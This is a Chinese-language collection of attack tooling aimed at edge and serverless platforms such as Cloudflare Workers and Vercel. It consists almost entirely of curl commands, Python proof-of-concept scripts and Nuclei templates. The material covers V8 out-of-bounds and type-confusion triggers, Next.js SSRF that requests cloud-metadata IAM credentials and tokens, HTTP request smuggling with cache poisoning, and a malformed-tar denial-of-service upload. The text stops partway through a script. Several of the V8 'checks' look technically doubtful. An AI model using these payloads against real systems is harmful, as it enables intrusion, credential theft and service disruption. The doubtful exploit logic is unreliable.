边缘计算与Serverless平台高危攻击链专题：Cloudflare Workers / Deno / Vercel / Lambda@Edge / Fastly 漏洞全解析

# 检测目标边缘运行时的 V8 版本（通过错误信息或 side-channel）
curl -s -o /dev/null -w "%{http_code}" \
  -X POST "https://target-worker.workers.dev/" \
  -H "Content-Type: application/json" \
  -d '{"payload":"oob_read_trigger"}'

# 发送触发 OOB Read 的 payload（构造畸形 Array 操作）
curl -s -X POST "https://target-worker.workers.dev/" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "process",
    "data": {
      "array_op": "splice",
      "args": [0, 1, {"type": "double", "trigger_opt": true}]
    }
  }'

#!/usr/bin/env python3
"""
CVE-2024-0519 V8 OOB Read PoC
通过触发 V8 TurboFan 优化的 Array.prototype 越界读取
验证边缘运行时（Cloudflare Workers / Deno / Vercel）的 Isolate 隔离强度
用法: python3 cve_2024_0519_oob.py <target_worker_url>
"""
import sys
import requests
import json
import struct

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

OOB_TRIGGER_JS = """
(function() {
    const SIZE = 1024;
    const victim = new Array(SIZE);
    const oob_indices = [];
    
    for (let i = 0; i < SIZE; i++) {
        victim[i] = 1.1;
    }
    
    function triggerOOB() {
        const a = [1.1, 2.2];
        a.length = 0;
        
        a[0] = {};
        a[1] = {};
        
        for (let i = 0; i < 100000; i++) {
            a.pop();
        }
        
        for (let i = 0; i < SIZE; i++) {
            try {
                const val = victim[i];
                if (typeof val === 'number' && val !== 1.1 && val !== 0) {
                    oob_indices.push({index: i, value: val});
                }
            } catch(e) {}
        }
        
        return {
            oob_readings: oob_indices.length,
            samples: oob_indices.slice(0, 10),
            likely_vulnerable: oob_indices.length > 0
        };
    }
    
    return triggerOOB();
})()
"""

SIGNAL_JS_TEMPLATES = [
    """
    (function() {
        try {{
            var a = [1.1];
            a.length = 0x10000;
            for (var i = 0; i < 0x10000; i++) a[i] = 1.1;
            a.splice(0, 0x10000);
            return "signal_1_triggered";
        }} catch(e) {{
            return "signal_1_caught: " + e.message;
        }}
    })()
    """,
    """
    (function() {{
        var arr = new Array(100);
        var handler = {{
            get(target, prop) {{
                if (prop === 'length') {{
                    target.length = 0;
                }}
                return target[prop];
            }}
        }};
        var proxy = new Proxy(arr, handler);
        try {{
            Array.prototype.push.apply(proxy, [1,2,3]);
            return "signal_2_triggered";
        }} catch(e) {{
            return "signal_2_caught: " + e.message;
        }}
    }})()
    """,
]


class CVE20240519Checker:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (compatible; SecurityAudit/1.0)"
        })
        self.vulnerability_indicators = []

    def _send_js_payload(self, js_code, timeout=15):
        try:
            resp = self.session.post(
                self.target_url,
                json={"__execution_code": js_code},
                timeout=timeout,
                allow_redirects=False
            )
            return resp
        except requests.exceptions.RequestException as e:
            return None

    def check_v8_version_sidechannel(self):
        print("[*] 阶段 1: V8 版本侧信道检测")
        version_probes = [
            {"payload": "typeof WebAssembly.Global", "expect": "function"},
            {"payload": "typeof BigInt64Array", "expect": "function"},
            {"payload": "typeof structuredClone", "expect": "function"},
            {"payload": "typeof Array.fromAsync", "expect": "undefined"},
        ]
        for probe in version_probes:
            resp = self._send_js_payload(probe["payload"])
            if resp and resp.status_code == 200:
                print(f"[+] Probe response: {resp.status_code}")

    def check_oob_read_signal(self):
        print("\n[*] 阶段 2: 越界读取信号检测")
        for i, template in enumerate(SIGNAL_JS_TEMPLATES):
            resp = self._send_js_payload(template)
            if resp:
                status = "✅ 可疑信号" if resp.status_code == 200 else f"状态码: {resp.status_code}"
                print(f"[+] Signal {i+1}: {status}")

    def run_full_check(self):
        print(f"[*] CVE-2024-0519 V8 OOB Read 安全检查")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        self.check_v8_version_sidechannel()
        self.check_oob_read_signal()
        print(f"\n{'='*60}")
        print("[*] 检查完成。如需完整利用请参考 Chrome V8 exploit 框架。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_worker_url>")
        print(f"示例: python3 {sys.argv[0]} https://my-worker.workers.dev")
        sys.exit(1)
    checker = CVE20240519Checker(sys.argv[1])
    checker.run_full_check()

id: cve-2024-0519-v8-oob-read
info:
  name: CVE-2024-0519 - V8 Out-of-Bounds Read
  author: x7peeps
  severity: high
  description: V8 Array.prototype OOB Read affecting all V8-based edge runtimes
  reference:
    - https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_16.html
  cvss:
    score: 8.8
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  tags: v8,edge,cloudflare,deno,vercel,cve2024,oob

http:
  - method: POST
    path:
      - "{{BaseURL}}"

    headers:
      Content-Type: "application/json"

    body: |
      {"__test":"oob_signal"}

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "worker"
          - "edge"
          - "runtime"
        condition: or

    extractors:
      - type: regex
        group: 1
        regex:
          - "V8/([0-9.]+)"
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}"

    headers:
      Content-Type: "application/json"

    body: |
      {"payload":"var a=[1.1];a.length=0x10000;for(var i=0;i<0x10000;i++)a[i]=1.1;a.splice(0,0x10000);"}

    matchers:
      - type: word
        words:
          - "signal_triggered"
          - "200"
        condition: or

# 向 Workers 发送恶意 WASM 模块加载请求
curl -s -X POST "https://target-worker.workers.dev/wasm" \
  -H "Content-Type: application/wasm" \
  --data-binary @malicious_module.wasm

# 或通过 JSON API 传递 base64 编码的 WASM 模块
curl -s -X POST "https://target-worker.workers.dev/run" \
  -H "Content-Type: application/json" \
  -d '{
    "module_type": "wasm",
    "payload": "AGFzbQEAAAABBgFgAX8BfwMCAQAHCAEEbWFpbgAACgkBBwBAQQEL"
  }'

#!/usr/bin/env python3
"""
CVE-2024-2887 V8 WASM Type Confusion PoC
通过构造恶意 WASM 模块验证边缘运行时的类型安全隔离
用法: python3 cve_2024_2887_wasm.py <target_url>
"""
import sys
import struct
import base64
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

WAT_MODULE = """
(module
  (type $t0 (func (param i32 i32) (result i32)))
  (type $t1 (func (param i64) (result i32)))
  (func $type_confuse (type $t0) (param $p0 i32) (param $p1 i32) (result i32)
    local.get $p0
    local.get $p1
    i32.add
    i32.const 0x41414141
    i32.xor
  )
  (func $trigger_opt (type $t1) (param $p0 i64) (result i32)
    local.get $p0
    i32.wrap_i64
    call $type_confuse
  )
  (memory $memory 256 65536)
  (export "trigger" (func $trigger_opt))
  (export "memory" (memory $memory))
  (data (i32.const 0) "\\42\\42\\42\\42\\00\\00\\00\\00")
)
"""


class CVE20242887Checker:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def _build_wasm_payload(self):
        return WAT_MODULE.encode('utf-8')

    def send_wasm_module(self, wasm_bytes):
        print("[*] 发送恶意 WASM 模块到目标...")
        try:
            resp = self.session.post(
                f"{self.target_url}/run",
                json={
                    "module_type": "wasm",
                    "payload": base64.b64encode(wasm_bytes).decode(),
                    "entry_point": "trigger",
                    "args": [0x41414141, 0x42424242]
                },
                timeout=15
            )
            return resp
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求异常: {e}")
            return None

    def check_wasm_support(self):
        print("[*] 阶段 1: 检测 WASM 支持状态")
        probe_js = """
        (function() {
            try {
                var module = new WebAssembly.Module(
                    new Uint8Array([0,97,115,110,1,0,0,0])
                );
                return "wasm_supported";
            } catch(e) {
                return "wasm_error: " + e.message;
            }
        })()
        """
        try:
            resp = self.session.post(
                self.target_url,
                json={"__probe": probe_js},
                timeout=10
            )
            if resp and "wasm_supported" in resp.text:
                print("[+] WASM 支持: ✅ 目标支持 WASM 执行")
                return True
            print("[+] WASM 支持: ❌ 目标不支持或已禁用 WASM")
            return False
        except Exception as e:
            print(f"[-] 探测失败: {e}")
            return False

    def send_type_confusion_trigger(self):
        print("\n[*] 阶段 2: 发送类型混淆触发序列")
        wasm_bytes = self._build_wasm_payload()
        resp = self.send_wasm_module(wasm_bytes)
        if resp:
            print(f"[+] 响应状态: {resp.status_code}")
            if resp.status_code == 200:
                print("[+] ⚠️ WASM 模块被接受并执行——运行时可能受影响")
                return True
            elif resp.status_code == 400:
                print("[+] WASM 模块被平台拦截（可能是模块验证）")
            elif resp.status_code == 413:
                print("[+] 模块大小超限——平台可能有 WASM 大小限制")
        return False

    def run(self):
        print(f"[*] CVE-2024-2887 V8 WASM Type Confusion 安全检查")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        wasm_ok = self.check_wasm_support()
        if wasm_ok:
            self.send_type_confusion_trigger()
        print(f"\n{'='*60}")
        print("[*] 检查完成。完整利用需要本地 WASM exploit 开发。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_worker_url>")
        sys.exit(1)
    CVE20242887Checker(sys.argv[1]).run()

id: cve-2024-2887-v8-wasm-type-confusion
info:
  name: CVE-2024-2887 - V8 WASM Type Confusion
  author: x7peeps
  severity: high
  description: V8 WASM type confusion affecting V8-based edge runtimes
  reference:
    - https://pwn2own.com/
  cvss:
    score: 8.8
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  tags: v8,wasm,cloudflare,deno,vercel,cve2024,type-confusion

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Content-Type: "application/json"
    body: |
      {"module_type":"wasm","probe":true}
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "wasm"
          - "module"
        condition: or

  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Content-Type: "application/json"
    body: |
      {"payload":"AGFzbQEAAAABBgFgAX8BfwMCAQAHCAEEbWFpbgAACgkBBwBAQQEL"}
    matchers:
      - type: word
        words:
          - "executed"
          - "compiled"
          - "200"
        condition: or

# 向边缘 Worker 发送触发 TurboFan 类型混淆的 JS payload
curl -s -X POST "https://target-worker.workers.dev/exec" \
  -H "Content-Type: application/json" \
  -d '{
    "language": "javascript",
    "code": "function opt(arr, val) { arr[0] = val; return arr[0]; } var a = [1]; for(var i=0;i<10000;i++) opt(a, i); opt(a, {});"
  }'

#!/usr/bin/env python3
"""
CVE-2024-7971 V8 JIT Type Confusion PoC
验证边缘运行时 TurboFan 类型混淆的安全边界
用法: python3 cve_2024_7971_jit.py <target_url>
"""
import sys
import json
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TURBOFAN_TRIGGER_JS = """
(function() {
    function triggerTypeConfusion() {
        function makeObj() {
            return { x: 1.1, y: 2.2 };
        }
        
        function opt(arr, trigger) {
            arr[0] = trigger;
        }
        
        var a = [makeObj(), makeObj(), makeObj()];
        
        for (var i = 0; i < 10000; i++) {
            opt(a, makeObj());
        }
        
        opt(a, 42);
        
        try {
            var corrupted = a[0];
            var result = typeof corrupted;
            return {
                status: "type_feedback_tested",
                value_type: result,
                expected: "number",
                mismatch: result !== "number",
                likely_vulnerable: result !== "number" && result !== "undefined"
            };
        } catch(e) {
            return {
                status: "exception_caught",
                error: e.message,
                likely_vulnerable: e.message.indexOf("type") >= 0
            };
        }
    }
    return triggerTypeConfusion();
})()
"""


class CVE20247971Checker:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def send_payload(self, js_code):
        try:
            resp = self.session.post(
                self.target_url,
                json={"__execution_code": js_code},
                timeout=15
            )
            return resp
        except requests.exceptions.RequestException:
            return None

    def run(self):
        print(f"[*] CVE-2024-7971 V8 JIT Type Confusion 安全检查")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        
        print("[*] 发送 TurboFan 类型混淆探测...")
        resp = self.send_payload(TURBOFAN_TRIGGER_JS)
        if resp:
            print(f"[+] 响应: {resp.status_code}")
            try:
                data = resp.json()
                print(f"[+] 类型检查结果: {data}")
                if data.get("mismatch"):
                    print("[!] ⚠️ 类型混淆信号检测到——运行时可能受影响")
                else:
                    print("[+] 类型推断正确——运行时可能已修补")
            except json.JSONDecodeError:
                print(f"[+] 原始响应: {resp.text[:200]}")
        
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_worker_url>")
        sys.exit(1)
    CVE20247971Checker(sys.argv[1]).run()

id: cve-2024-7971-v8-jit-type-confusion
info:
  name: CVE-2024-7971 - V8 JIT Type Confusion
  author: x7peeps
  severity: high
  description: V8 JIT compiler type confusion zero-day
  reference:
    - https://chromereleases.googleblog.com/2024/07/stable-channel-update-for-desktop_16.html
  cvss:
    score: 8.8
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  tags: v8,jit,edge,cloudflare,cve2024,type-confusion

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Content-Type: "application/json"
    body: |
      {"__execution_code":"(function(){function o(a,r){a[0]=r}var a=[1.1];for(var i=0;i<10000;i++)o(a,i);o(a,{});return typeof a[0]})()"}
    matchers:
      - type: word
        words:
          - "number"

curl -s -X POST "https://target-worker.workers.dev/" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "evaluate",
    "code": "var o={};o.__proto__={a:1};Object.defineProperty(o,\"a\",{get:function(){}});o.a;"
  }'

#!/usr/bin/env python3
"""
CVE-2023-3079 V8 Type Confusion PoC
验证 V8 Hidden Class 混淆信号
用法: python3 cve_2023_3079.py <target_url>
"""
import sys
import json
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRIGGER_JS = """
(function() {
    function confuse() {
        var a = {x: 1};
        var b = {x: 2};
        var c = {};
        
        Object.defineProperty(c, 'x', {
            get: function() { return a.x; },
            set: function(v) { a.x = v; },
            configurable: true
        });
        
        for (var i = 0; i < 20000; i++) {
            c.x = i;
            if (typeof c.x !== 'number') {
                return { triggered: true, type: typeof c.x };
            }
        }
        
        c.__proto__ = {x: 'string'};
        c.x = 42;
        
        return {
            triggered: false,
            value_type: typeof c.x,
            value: c.x
        };
    }
    return confuse();
})()
"""


class CVE20233079Checker:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def send_payload(self, js_code):
        try:
            resp = self.session.post(
                self.target_url,
                json={"__execution_code": js_code},
                timeout=15
            )
            return resp
        except requests.exceptions.RequestException:
            return None

    def run(self):
        print(f"[*] CVE-2023-3079 V8 Type Confusion 安全检查")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        
        resp = self.send_payload(TRIGGER_JS)
        if resp:
            print(f"[+] 响应: {resp.status_code}")
            try:
                data = resp.json()
                print(f"[+] 结果: {json.dumps(data, indent=2)}")
                if data.get("triggered"):
                    print("[!] ⚠️ 类型混淆触发信号检测到")
                else:
                    print("[+] Hidden Class 转换正常——运行时可能已修补")
            except (json.JSONDecodeError, KeyError):
                print(f"[+] 原始响应: {resp.text[:200]}")
        
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_worker_url>")
        sys.exit(1)
    CVE20233079Checker(sys.argv[1]).run()

id: cve-2023-3079-v8-type-confusion
info:
  name: CVE-2023-3079 - V8 Type Confusion
  author: x7peeps
  severity: high
  description: V8 type confusion affecting edge runtimes
  reference:
    - https://chromereleases.googleblog.com/2023/06/stable-channel-update-for-desktop_04.html
  cvss:
    score: 8.8
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  tags: v8,edge,cloudflare,cve2023,type-confusion

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Content-Type: "application/json"
    body: |
      {"__execution_code":"(function(){var o={};o.__proto__={a:1};Object.defineProperty(o,'a',{get:function(){}});return typeof o.a})()"}
    matchers:
      - type: word
        words:
          - "undefined"

curl -s -X POST "https://target-worker.workers.dev/" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "evaluate",
    "code": "var a=[1.1,2.2,3.3];function trigger(arr){for(var i=0;i<30000;i++){arr.includes(i%3===0?1.1:i);}};trigger(a);a[0]={};trigger(a);"
  }'

#!/usr/bin/env python3
"""
CVE-2023-2033 V8 TurboFan Type Confusion PoC
验证 TurboFan 优化路径中的类型混淆信号
用法: python3 cve_2023_2033.py <target_url>
"""
import sys
import json
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TURBOFAN_TRIGGER_JS = """
(function() {
    var a = [1.1, 2.2, 3.3];
    
    function triggerOpt(arr) {
        for (var i = 0; i < 30000; i++) {
            arr.includes(i % 3 === 0 ? 1.1 : i);
        }
    }
    
    triggerOpt(a);
    a[0] = {};
    a[1] = "string_val";
    
    try {
        triggerOpt(a);
    } catch(e) {
        return {
            error: e.message,
            type_confusion_signal: e.message.indexOf("type") >= 0 ||
                                   e.message.indexOf("Internal") >= 0,
            v8_likely_vulnerable: true
        };
    }
    
    return {
        status: "no_error",
        a_types: [typeof a[0], typeof a[1], typeof a[2]],
        mixed_types: true,
        v8_likely_vulnerable: false
    };
})()
"""


class CVE20232033Checker:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def send_payload(self, js_code):
        try:
            resp = self.session.post(
                self.target_url,
                json={"__execution_code": js_code},
                timeout=15
            )
            return resp
        except requests.exceptions.RequestException:
            return None

    def run(self):
        print(f"[*] CVE-2023-2033 V8 TurboFan Type Confusion 安全检查")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        
        resp = self.send_payload(TURBOFAN_TRIGGER_JS)
        if resp:
            print(f"[+] 响应: {resp.status_code}")
            try:
                data = resp.json()
                print(f"[+] 结果: {json.dumps(data, indent=2)}")
                if data.get("v8_likely_vulnerable"):
                    print("[!] ⚠️ TurboFan 类型混淆信号检测到")
                else:
                    print("[+] TurboFan 类型推断正常——运行时可能已修补")
            except (json.JSONDecodeError, KeyError):
                print(f"[+] 原始响应: {resp.text[:200]}")
        
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_worker_url>")
        sys.exit(1)
    CVE20232033Checker(sys.argv[1]).run()

id: cve-2023-2033-v8-turbofan-type-confusion
info:
  name: CVE-2023-2033 - V8 TurboFan Type Confusion
  author: x7peeps
  severity: high
  description: V8 TurboFan JIT compiler type confusion
  reference:
    - https://chromereleases.googleblog.com/2023/04/stable-channel-update-for-desktop_18.html
  cvss:
    score: 8.8
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  tags: v8,turbofan,edge,cloudflare,cve2023,type-confusion

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Content-Type: "application/json"
    body: |
      {"__execution_code":"(function(){var a=[1.1];for(var i=0;i<30000;i++)a.includes(i%3===0?1.1:i);a[0]={};try{for(var i=0;i<30000;i++)a.includes(i%3===0?1.1:i)}catch(e){return e.message}return 'ok'})()"}
    matchers:
      - type: word
        words:
          - "Internal Error"
          - "TypeError"
          - "ok"
        condition: or

# 探测 SSRF —— 尝试访问云元数据服务
curl -s -X POST "https://target-nextjs.vercel.app/api/action" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "fetchUrl",
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# 尝试获取 IAM 临时凭证
curl -s -X POST "https://target-nextjs.vercel.app/api/action" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "fetchUrl",
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>"
  }'

# SSRF 探测内网服务
curl -s -X POST "https://target-nextjs.vercel.app/api/action" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "fetchUrl",
    "url": "http://10.0.0.1:3000/admin/health"
  }'

#!/usr/bin/env python3
"""
CVE-2024-34351 Next.js SSRF via Server Actions PoC
验证 Vercel 部署的 Next.js 应用的 SSRF 漏洞
用法: python3 cve_2024_34351.py <target_nextjs_url> [action_name]
"""
import sys
import json
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SSRF_TARGETS = [
    "http://169.254.169.254/latest/meta-data/",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance",
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
    "http://10.0.0.1:3000/",
    "http://localhost:3000/",
    "http://[::1]:3000/",
]


class CVE202434351Checker:
    def __init__(self, target_url, action_name="fetchUrl"):
        self.target_url = target_url.rstrip("/")
        self.action_name = action_name
        self.session = requests.Session()
        self.session.verify = False

    def try_nextjs_action(self, action_name, payload):
        urls_to_try = [
            f"{self.target_url}/api/action",
            f"{self.target_url}/api/{action_name}",
            f"{self.target_url}/actions/{action_name}",
        ]
        for url in urls_to_try:
            try:
                resp = self.session.post(url, json=payload, timeout=10)
                if resp.status_code in (200, 201, 302, 307):
                    return resp, url
            except requests.exceptions.RequestException:
                continue
        return None, None

    def probe_ssrf(self, target_internal_url):
        payload = {
            "action": self.action_name,
            "url": target_internal_url
        }
        resp, used_url = self.try_nextjs_action(self.action_name, payload)
        if resp:
            body = resp.text
            indicators = [
                "ami-", "instance-id", "iam", "credentials",
                "token", "access_key", "secret_key", "metadata"
            ]
            for indicator in indicators:
                if indicator.lower() in body.lower():
                    return True, body[:500]
            if resp.status_code == 200 and len(body) > 10:
                return True, body[:500]
        return False, resp.text[:200] if resp else "无响应"

    def run(self):
        print(f"[*] CVE-2024-34351 Next.js SSRF 安全检查")
        print(f"[*] 目标: {self.target_url}")
        print(f"[*] Action: {self.action_name}")
        print(f"{'='*60}")
        
        for target_url in SSRF_TARGETS:
            print(f"\n[*] 探测: {target_url}")
            hit, evidence = self.probe_ssrf(target_url)
            if hit:
                print(f"[!] ⚠️ SSRF 命中! 内部响应:\n{evidence}")
            else:
                print(f"[-] 无响应或已防护: {evidence[:100]}")
        
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_nextjs_url> [action_name]")
        print(f"示例: python3 {sys.argv[0]} https://myapp.vercel.app fetchUrl")
        sys.exit(1)
    action = sys.argv[2] if len(sys.argv) > 2 else "fetchUrl"
    CVE202434351Checker(sys.argv[1], action).run()

id: cve-2024-34351-nextjs-ssrf
info:
  name: CVE-2024-34351 - Next.js SSRF via Server Actions
  author: x7peeps
  severity: critical
  description: Next.js Server Actions SSRF leading to RCE on Vercel
  reference:
    - https://nextjs.org/blog/security-nextjs-server-actions-vulnerability
  cvss:
    score: 9.1
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  tags: nextjs,vercel,ssrf,cve2024,rce

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/action"
      - "{{BaseURL}}/api/fetchUrl"
      - "{{BaseURL}}/actions/fetchUrl"
    headers:
      Content-Type: "application/json"
    body: |
      {"action":"fetchUrl","url":"http://169.254.169.254/latest/meta-data/"}
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ami-"
          - "instance-id"
          - "iam"
          - "meta-data"
        condition: or
      - type: status
        status:
          - 200

# CL.TE 请求走私探测
printf 'POST /api/data HTTP/1.1\r\nHost: target-nextjs.vercel.app\r\nContent-Type: application/json\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target-nextjs.vercel.app\r\n\r\n' | \
  curl -s -k --http1.1 -X POST "https://target-nextjs.vercel.app/" \
  -H "Transfer-Encoding: chunked" \
  -d @- 2>/dev/null

# 缓存投毒探测
printf 'POST / HTTP/1.1\r\nHost: target-nextjs.vercel.app\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 120\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target-nextjs.vercel.app\r\nX-Cache-Poison: true\r\n\r\n' | \
  curl -s -k -D- "https://target-nextjs.vercel.app/" -H "Transfer-Encoding: chunked" -d @- 2>/dev/null

#!/usr/bin/env python3
"""
CVE-2024-34350 Next.js HTTP Request Smuggling PoC
用法: python3 cve_2024_34350.py <target_url>
"""
import sys
import socket
import ssl
import urllib.parse

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class CVE202434350Checker:
    def __init__(self, target_url):
        parsed = urllib.parse.urlparse(target_url)
        self.hostname = parsed.hostname
        self.port = parsed.port or 443
        self.use_ssl = parsed.scheme == "https"

    def _raw_request(self, raw_data):
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        
        sock = socket.create_connection((self.hostname, self.port), timeout=10)
        if self.use_ssl:
            sock = ctx.wrap_socket(sock, server_hostname=self.hostname)
        sock.sendall(raw_data)
        response = b""
        try:
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
                if b"\r\n\r\n" in response:
                    break
        except socket.timeout:
            pass
        sock.close()
        return response.decode('utf-8', errors='replace')

    def test_cl_te(self):
        print("[*] CL.TE 请求走私探测...")
        smuggled = (
            b"0\r\n\r\n"
            b"GET / HTTP/1.1\r\n"
            b"Host: " + self.hostname.encode() + b"\r\n"
            b"X-Smuggled: true\r\n"
            b"Connection: close\r\n\r\n"
        )
        request = (
            b"POST /api/data HTTP/1.1\r\n"
            b"Host: " + self.hostname.encode() + b"\r\n"
            b"Content-Type: application/json\r\n"
            b"Content-Length: " + str(len(smuggled)).encode() + b"\r\n"
            b"Transfer-Encoding: chunked\r\n"
            b"Connection: keep-alive\r\n\r\n"
            + smuggled
        )
        resp = self._raw_request(request)
        if "X-Smuggled" in resp or "400" in resp.split("\r\n")[0]:
            print("[+] ⚠️ CL.TE 走私信号检测到")
        else:
            print("[-] CL.TE 走私未命中")
        return resp

    def run(self):
        print(f"[*] CVE-2024-34350 Next.js HTTP Request Smuggling 安全检查")
        print(f"[*] 目标: {self.hostname}:{self.port}")
        print(f"{'='*60}")
        self.test_cl_te()
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url>")
        sys.exit(1)
    CVE202434350Checker(sys.argv[1]).run()

id: cve-2024-34350-nextjs-request-smuggling
info:
  name: CVE-2024-34350 - Next.js HTTP Request Smuggling
  author: x7peeps
  severity: high
  description: Next.js HTTP request smuggling vulnerability
  reference:
    - https://nextjs.org/blog/security-nextjs-server-actions-vulnerability
  cvss:
    score: 7.5
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
  tags: nextjs,vercel,smuggling,cve2024

http:
  - raw:
      - |
        POST /api/data HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Content-Length: 6
        Transfer-Encoding: chunked

        0

        GET /admin HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 400
          - 404

# 创建畸形 tar 文件进行 DoS 测试
python3 -c "
import struct, io
f = io.BytesIO()
header = b'\x00' * 512
header = b'test.txt\x00' + b'0' * 68
header += struct.pack('>I', 0xFFFFFFFF)  # max size field
header += struct.pack('>I', 0)
header += struct.pack('>I', 0)
header += b'0000644\x00'
header = header.ljust(512, b'\x00')
f.write(header)
f.write(b'A' * 512)
with open('/tmp/malicious.tar', 'wb') as out:
    out.write(f.getvalue())
print('Created /tmp/malicious.tar')
"
# 上传畸形文件到目标 Worker
curl -s -X POST "https://target-worker.workers.dev/upload" \
  -F "file=@/tmp/malicious.tar"

#!/usr/bin/env python3
"""
CVE-2024-28863 tar.js DoS PoC
验证目标 Serverless 应用的 tar 解析器拒绝服务
用法: python3 cve_2024_28863.py <target_upload_url>
"""
import sys
import struct
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class CVE202428863Checker:
    def __init__(self, upload_url):
        self.upload_url = upload_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def _build_malicious_tar(self):
        header = bytearray(512)
        header[0:9] = b'test.txt\x00'
        header[124:136] = b'777777777777'
        header[136:148] = b'000000000000'
        header[148:156] = b'000000000000'
        header[156] = 0x30
        header[257:265] = b'ustar\x0000'
        checksum = sum(header) & 0o777777
        header[148:156] = ('%06o\x00 ' % checksum).encode()
        return bytes(header) + b'\x00' * 512

    def test_upload(self):
        print("[*] 上传畸形 tar 文件...")
        tar_data = self._build_malicious_tar()
        try:
            resp = self.session.post(
                self.upload_url,
                files={"file": ("exploit.tar", tar_data, "application/x-tar")},
                timeout=30
            )
            print(f"[+] 响应: {resp.status_code} ({len(resp.content)} bytes)")
            if resp.status_code == 502 or resp.status_code == 504:
                print("[!] ⚠️ 服务端 5xx 错误——可能触发了 DoS")
                return True
            if resp.elapsed.total_seconds() > 25:
                print("[!] ⚠️ 响应时间异常（>25s）——可能存在循环处理")
                return True
        except requests.exceptions.Timeout:
            print("[!] ⚠️ 请求超时——Worker 可能已崩溃")
            return True
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求异常: {e}")
        return False

    def run(self):
